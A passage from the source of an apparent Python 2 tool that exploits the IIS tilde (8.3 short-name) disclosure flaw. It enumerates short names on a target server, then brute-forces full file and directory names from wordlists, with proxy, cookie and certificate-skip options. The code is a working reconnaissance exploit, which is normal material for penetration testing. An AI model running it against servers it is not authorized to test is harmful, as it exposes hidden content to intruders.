312 | resp6 = getWebServerResponse(url+stub+check_string)
313 |
314 | if resp6.code == 404: # Got the sixth valid char
315 | fileOrDir(files, url, stub)
316 |
317 |
318 | # Store the file in a dictionary by directory. This will be important in the future when we do recursive tests
319 | findings_file[dirname] = files
320 |
321 | findings['files'] = findings_file
322 | findings['dirs'] = sorted(findings_dir)
323 | print bcolors.GREEN + '[-] Finished doing the 8.3 enumeration for %s.' % dirname + bcolors.ENDC
324 | return findings
325 |
326 |
327 | def performLookups(findings, url_good):
328 | filename_matches = []
329 | # Find matches to the filename in our word list
330 | for dirname in findings['files'].keys():
331 | ext_matches= []
332 | for filename in findings['files'][dirname]:
333 | if not filename: continue
334 | # Break apart the file into filename and extension
335 | filename, ext_temp = os.path.splitext(filename)
336 | ext = ext_temp.lstrip('.')
337 |
338 | # Go search the user's word list file for matches for the file
339 | if len(filename) < 6:
340 | print bcolors.GREEN + '[-] File name (%s) too short to look up in word list. We will use it to bruteforce.' % filename + bcolors.ENDC
341 | filename_matches.append(filename)
342 | else:
343 | if args.v: print bcolors.PURPLE + '[-] Searching for %s in word list' % filename + bcolors.ENDC
344 | filename_matches = searchFileForString(filename, args.wordlist)
345 |
346 | # If nothing came back from the search, just try use the original string
347 | if not filename_matches:
348 | filename_matches.append(filename)
349 | if args.v: print bcolors.PURPLE + '[+] File name matches for %s are: %s' % (filename, filename_matches) + bcolors.ENDC
350 |
351 | # Go search the extension word list file for matches for the extension
352 | if len(ext) < 3:
353 | print bcolors.GREEN + '[-] Extension (%s) too short to look up in word list. We will use it to bruteforce.' % ext + bcolors.ENDC
354 | ext_matches.append(ext.lower())
355 | else:
356 | if args.v: print bcolors.PURPLE + '[-] Searching for %s in extension word list' % ext + bcolors.ENDC
357 | ext_matches = searchFileForString(ext, exts)
358 | if args.v: print bcolors.PURPLE + '[+] Extension matches for %s are: %s' % (ext, ext_matches) + bcolors.ENDC
359 |
360 | # Now do the real hard work of cycling through each filename_matches and adding the ext_matches,
361 | # do the look up and examine the response codes to see if we found a file.
362 | for line in filename_matches:
363 | for e in ext_matches:
364 | test_response_code, test_response_length = '', ''
365 |
366 | if url_good[-1] != '/':
367 | url_to_try = url_good + '/' + line + '.' + e.rstrip()
368 | else:
369 | url_to_try = url_good + line + '.' + e.rstrip()
370 | url_response = getWebServerResponse(url_to_try)
371 | sleep(args.snooze)
372 |
373 | # Pull out just the HTTP response code number
374 | if hasattr(url_response, 'code'):
375 | test_response_code = url_response.code
376 | test_response_length = url_response.headers['Content-Length']
377 | elif hasattr(url_response, 'getcode'):
378 | test_response_code = url_response.getcode()
379 | test_response_length = len(url_response.reason())
380 | else:
381 | test_response_code = 0
382 |
383 | if args.v: print bcolors.PURPLE + '[+] URL: %s -> RESPONSE: %s' % (url_to_try, test_response_code) + bcolors.ENDC
384 |
385 | # Here is where we figure out if we found something or just found something odd
386 | if test_response_code == response_code['user_code']:
387 | print '[*] Found file: (Size %s) %s' % (test_response_length, url_to_try)
388 | findings_final.append(url_to_try + ' - Size ' + test_response_length)
389 | elif test_response_code != 404 and test_response_code != 400:
390 | print '[?] URL: (Size %s) %s with Response: %s ' % (test_response_length, url_to_try, url_response)
391 | findings_other.append('HTTP Resp ' + str(test_response_code) + ' - ' + url_to_try + ' - Size ' + test_response_length)
392 |
393 | # Match directory names
394 | print bcolors.GREEN + '[-] Trying to find directory matches now.' + bcolors.ENDC
395 | if args.dirwordlist:
396 | print bcolors.GREEN + '[-] You used the "-d" option.\n Using %s for directory name look-ups.' % args.dirwordlist + bcolors.ENDC
397 | else:
398 | print bcolors.GREEN + '[-] Using the general wordlist to discover directory names.'
399 | print ' If this does not work well, consider using the -d argument and providing a directory name wordlist.' + bcolors.ENDC
400 |
401 | for dirname in findings['dirs']:
402 | # Go search the user's word list file for matches for the directory name
403 | if args.v: print bcolors.PURPLE + '[+] Searching for %s in word list' % dirname + bcolors.ENDC
404 | if args.dirwordlist:
405 | dir_matches = searchFileForString(dirname, args.dirwordlist)
406 | else:
407 | dir_matches = searchFileForString(dirname, args.wordlist)
408 |
409 | # If nothing came back from the search, just try use the original string
410 | if not dir_matches:
411 | dir_matches.append(dirname)
412 | if args.v:
413 | print bcolors.PURPLE + '[+] Directory name matches for %s are: %s' % (dirname, dir_matches) + bcolors.ENDC
414 |
415 | # Now try to guess the live dir name by cycling through each directory name
416 | for matches in dir_matches:
417 | test_response_code, test_response_length = '', ''
418 |
419 | # Here we check the response to a plain dir request AND one with default files
420 | url_to_try = url_good + '/' + matches + '/'
421 | url_response = getWebServerResponse(url_to_try)
422 | if args.snooze: sleep(args.snooze)
423 |
424 | # Pull out just the HTTP response code number
425 | if hasattr(url_response, 'code'):
426 | test_response_code = url_response.code
427 | test_response_length = url_response.headers['Content-Length']
428 | elif hasattr(url_response, 'getcode'):
429 | test_response_code = url_response.getcode()
430 | test_response_length = len(url_response.reason())
431 | else:
432 | test_response_code = 0
433 |
434 | if args.v: print bcolors.PURPLE + '[+] URL: %s -> RESPONSE: %s' % (url_to_try, test_response_code) + bcolors.ENDC
435 |
436 | # Here is where we figure out if we found something or just found something odd
437 | if test_response_code == response_code['user_code']:
438 | print bcolors.YELLOW + '[*] Found directory: (Size %s) %s' % (test_response_length, url_to_try) + bcolors.ENDC
439 | findings_dir_final.append(url_to_try + ' - Size ' + test_response_length)
440 | elif test_response_code == 403:
441 | print bcolors.YELLOW + '[?] URL: (Size %s) %s with Response: %s ' % (test_response_length, url_to_try, url_response) + bcolors.ENDC
442 | findings_dir_other.append('HTTP Resp ' + str(test_response_code) + ' - ' + url_to_try + ' - Size ' + test_response_length)
443 |
444 | # Sometimes directories cannot just be requested and we have to know the default file name in it.
445 | default_index_files = ['default.asp', 'default.aspx', 'default.htm', 'default.html', 'home.htm', 'home.html',
446 | 'index.asp', 'index.aspx', 'index.cgi', 'index.htm', 'index.html', 'index.php',
447 | 'index.php3', 'index.php4', 'index.php5', 'index.shtml', 'isstart.htm', 'placeholder.html']
448 |
449 | # Cycle through all the default_index_files and see if any of those get us a match
450 | # TODO - This does not feel right duplicating the code from above. Should be a method instead
451 | for index_file in default_index_files:
452 | test_response_code, test_response_length = '', ''
453 |
454 | # Here we check the response to a plain dir request AND one with default files
455 | url_to_try = url_good + '/' + matches + '/' + index_file
456 | url_response = getWebServerResponse(url_to_try)
457 | if args.snooze: sleep(args.snooze)
458 |
459 | # Pull out just the HTTP response code number
460 | if hasattr(url_response, 'code'):
461 | test_response_code = url_response.code
462 | test_response_length = url_response.headers['Content-Length']
463 | elif hasattr(url_response, 'getcode'):
464 | test_response_code = url_response.getcode()
465 | test_response_length = len(url_response.reason())
466 | else:
467 | test_response_code = 0
468 |
469 | if args.v: print bcolors.PURPLE + '[+] URL: %s -> RESPONSE: %s' % (url_to_try, test_response_code) + bcolors.ENDC
470 |
471 | # Here is where we figure out if we found something or just found something odd
472 | if test_response_code == response_code['user_code']:
473 | print '[*] Found directory: (Size %s) %s' % (test_response_length, url_good + '/' + matches) + bcolors.ENDC
474 | findings_dir_final.append(url_good + '/' + matches + ' - Size ' + test_response_length)
475 |
476 | elif test_response_code != 404 and test_response_code != 403:
477 | print bcolors.YELLOW + '[?] URL: (Size %s) %s with Response: %s ' % (test_response_length, url_to_try, url_response) + bcolors.ENDC
478 | findings_dir_other.append('HTTP Resp ' + str(test_response_code) + ' - ' + url_to_try + ' - Size ' + test_response_length)
479 |
480 |
481 | def main():
482 | # Check the User-supplied URL
483 | if args.url:
484 | response_code = initialCheckUrl(args.url)
485 | else:
486 | print bcolors.RED + '[!] You need to enter a valid URL for us to test.' + bcolors.ENDC
487 | sys.exit()
488 |
489 | if args.v:
490 | print bcolors.PURPLE + '[+] HTTP Response Codes: %s' % response_code + bcolors.ENDC
491 |
492 | if args.snooze != 0 :
493 | print '[-] User-supplied delay detected. Waiting %s seconds between HTTP requests.' % args.snooze
494 |
495 | # Open the wordlist file (or try to)
496 | try:
497 | wordlist = open(args.wordlist,'r').readlines()
498 | except (IOError, TypeError):
499 | print bcolors.RED + '[!] [Error] Can\'t read the wordlist file you entered.' + bcolors.ENDC
500 | sys.exit()
501 |
502 | if args.v:
503 | print bcolors.PURPLE + '[+] Opened wordlist %s successfully' % args.wordlist + bcolors.ENDC
504 |
505 | # Check to see if the remote server is IIS and vulnerable to the Tilde issue
506 | check_string = checkForTildeVuln(args.url)
507 |
508 | # Break apart the url
509 | url = urlparse(args.url)
510 | url_good = url.scheme + '://' + url.netloc + url.path
511 |
512 | # Do the initial search for files in the root of the web server
513 | findings = checkEightDotThreeEnum(url.scheme + '://' + url.netloc, check_string, url.path)
514 |
515 | if args.v:
516 | print bcolors.PURPLE + 'Files: %s' % findings['files']
517 | print 'Dirs: %s' % findings['dirs'] + bcolors.ENDC
518 |
519 | # Start the URL requests to the server
520 | print bcolors.GREEN + '[-] Now starting the word guessing using word list calls' + bcolors.ENDC
521 |
522 | # So the URL is live and gives 200s back (otherwise script would have exit'd)
523 | performLookups(findings, url_good)
524 |
525 | if findings_dir_final:
526 | print bcolors.GREEN + '[-] Now starting recursive 8.3 enumeration into the directories we found.' + bcolors.ENDC
527 |
528 | # Now that we have all the findings, repeat the above step with any findings that are directories and add those findings to the list
529 | for dirname in findings_dir_final:
530 | # Strip off the dir
531 | url_good = dirname.split()[0]
532 |
533 | print bcolors.GREEN + '[-] Diving into the %s dir.' % url_good + bcolors.ENDC
534 |
535 | # Do the 8.3 discovery for this dir
536 | checkEightDotThreeEnum(url_good, check_string)
537 |
538 | # So the URL is live and gives 200s back (otherwise script would have exit'd)
539 | performLookups(findings, url_good)
540 |
541 | # Output findings
542 | if findings_final:
543 | print '\n---------- FINAL OUTPUT ------------------------------'
544 | print bcolors.YELLOW + '[*] We found files for you to look at:' + bcolors.ENDC
545 | for out in sorted(findings_final):
546 | print bcolors.CYAN + '[*] %s' % out + bcolors.ENDC
547 | else:
548 | print bcolors.RED + '[ ] No file full names were discovered. Sorry dude.' + bcolors.ENDC
549 |
550 | if findings_dir_final:
551 | print bcolors.YELLOW + '\n[*] We found directories for you to look at:' + bcolors.ENDC
552 | for out in sorted(findings_dir_final):
553 | print bcolors.CYAN + '[*] %s' % out + bcolors.ENDC
554 |
555 | print bcolors.YELLOW + '\n[*] Here are all the 8.3 names we found.'
556 | print '[*] If any of these are 5-6 chars and look like they should work,'
557 | print ' try the file name with the first or second instead of all of them.' + bcolors.ENDC
558 |
559 | for dirname in findings['files'].keys():
560 | for filename in sorted(findings['files'][dirname]):
561 | if not filename: continue
562 | # Break apart the file into filename and extension
563 | filename, ext = os.path.splitext(filename)
564 | print '[*] %s://%s%s%s~1%s' % (url.scheme, url.netloc, dirname, filename, ext)
565 |
566 | print bcolors.YELLOW + '\n[*] Here are all the directory names we found. You may wish to try to guess them yourself too.' + bcolors.ENDC
567 | for dirname in sorted(findings['dirs']):
568 | print '[?] %s/%s~1/' % (url.scheme + '://' + url.netloc, dirname)
569 |
570 | if findings_other:
571 | print bcolors.YELLOW + '\n[*] We found URLs you check out. They were not HTTP response code 200s.' + bcolors.ENDC
572 | for out in sorted(findings_other):
573 | print bcolors.DARKCYAN + '[?] %s' % out + bcolors.ENDC
574 |
575 | if findings_dir_other:
576 |
577 | # TODO - Implement additional checking for each of the dirs ! Code 200s
578 | # Set up the default file names and extensions for main web pages in directories
579 | #default_index = [
580 | # ['default', 'home', 'index', 'isstart', ''],
581 | # ['.asp', '.aspx', '.htm', '.html', '.php', '.php3', '.php4', '.php5', '.cgi', '.shtml',
582 | # '.jsp', '.do', '.cfm', '.nsf', '']
583 | # ]
584 |
585 | # Use itertools to combine all the names and extensions
586 | #default_files = list(itertools.product(*default_index))
587 |
588 | #+ ''.join(default_name)
589 |
590 | print bcolors.YELLOW + '\n[*] We found directory URLs you should check out. They were not HTTP response code 200s.' + bcolors.ENDC
591 | for out in sorted(findings_dir_other):
592 | print bcolors.DARKCYAN + '[?] %s' % out + bcolors.ENDC
593 |
594 |
595 | #=================================================
596 | # START
597 | #=================================================
598 |
599 | # Command Line Arguments
600 | parser = argparse.ArgumentParser(description='Exploits and expands the file names found from the tilde enumeration vuln')
601 | parser.add_argument('-c', dest='cookies', help='cookies to be used in the request')
602 | parser.add_argument('-d', dest='dirwordlist', help='an optional wordlist for directory name content')
603 | parser.add_argument('-f', action='store_true', default=False, help='force testing of the server even if the headers do not report it as an IIS system')
604 | parser.add_argument('-p', dest='proxy', default='', help='Use a proxy host:port')
605 | parser.add_argument('-s', dest='snooze', default=0, type=float, help='time in seconds to sleep/wait between requests')
606 | parser.add_argument('-u', dest='url', help='URL to scan')
607 | parser.add_argument('-v', action='store_true', default=False, help='verbose output')
608 | parser.add_argument('-w', dest='wordlist', help='the word list to be used for guessing files')
609 | parser.add_argument('--no-check-certificate', action='store_true', help='don\'t verify the SSL certificate')
610 | args = parser.parse_args()
611 |
612 | # COLORIZATION OF OUTPUT
613 | # The entire bcolors class was taken verbatim from the Social Engineer's Toolkit (ty @SET)
614 | if checkOs() == "posix":
615 | class bcolors:
616 | PURPLE = '\033[95m' # Verbose
617 | CYAN = '\033[96m'
618 | DARKCYAN = '\033[36m'
619 | BLUE = '\033[94m'
620 | GREEN = '\033[92m' # Normal
621 | YELLOW = '\033[93m' # Findings
622 | RED = '\033[91m' # Errors
623 | ENDC = '\033[0m' # End colorization
624 |
625 | def disable(self):
626 | self.PURPLE = ''
627 | self.CYAN = ''
628 | self.BLUE = ''
629 | self.GREEN = ''
630 | self.YELLOW = ''
631 | self.RED = ''
632 | self.ENDC = ''
633 | self.DARKCYAN = ''
634 |
635 | # If we are running on Windows or something like that then define colors as nothing
636 | else:
637 | class bcolors:
638 | PURPLE = ''
639 | CYAN = ''
640 | DARKCYAN = ''
641 | BLUE = ''
642 | GREEN = ''
643 | YELLOW = ''
644 | RED = ''
645 | ENDC = ''
646 |
647 | def disable(self):
648 | self.PURPLE = ''
649 | self.CYAN = ''
650 | self.BLUE = ''
651 | self.GREEN = ''
652 | self.YELLOW = ''
653 | self.RED = ''
654 | self.ENDC = ''
655 | self.DARKCYAN = ''
656 |
657 | if args.proxy:
658 | print bcolors.PURPLE + '[-] Using proxy for requests: ' + args.proxy
659 | proxy = urllib2.ProxyHandler({'http': args.proxy, 'https': args.proxy})
660 | opener = urllib2.build_opener(proxy)
661 | urllib2.install_opener(opener)
662 |
663 | if args.v:
664 | print bcolors.PURPLE + '[-] Entering "Verbose Mode"....brace yourself for additional information.' + bcolors.ENDC
665 |
666 | if args.no_check_certificate:
667 | ssl_ctx.check_hostname = False
668 | ssl_ctx.verify_mode = ssl.CERT_NONE
669 |
670 | if __name__ == "__main__": main()
671 |
--------------------------------------------------------------------------------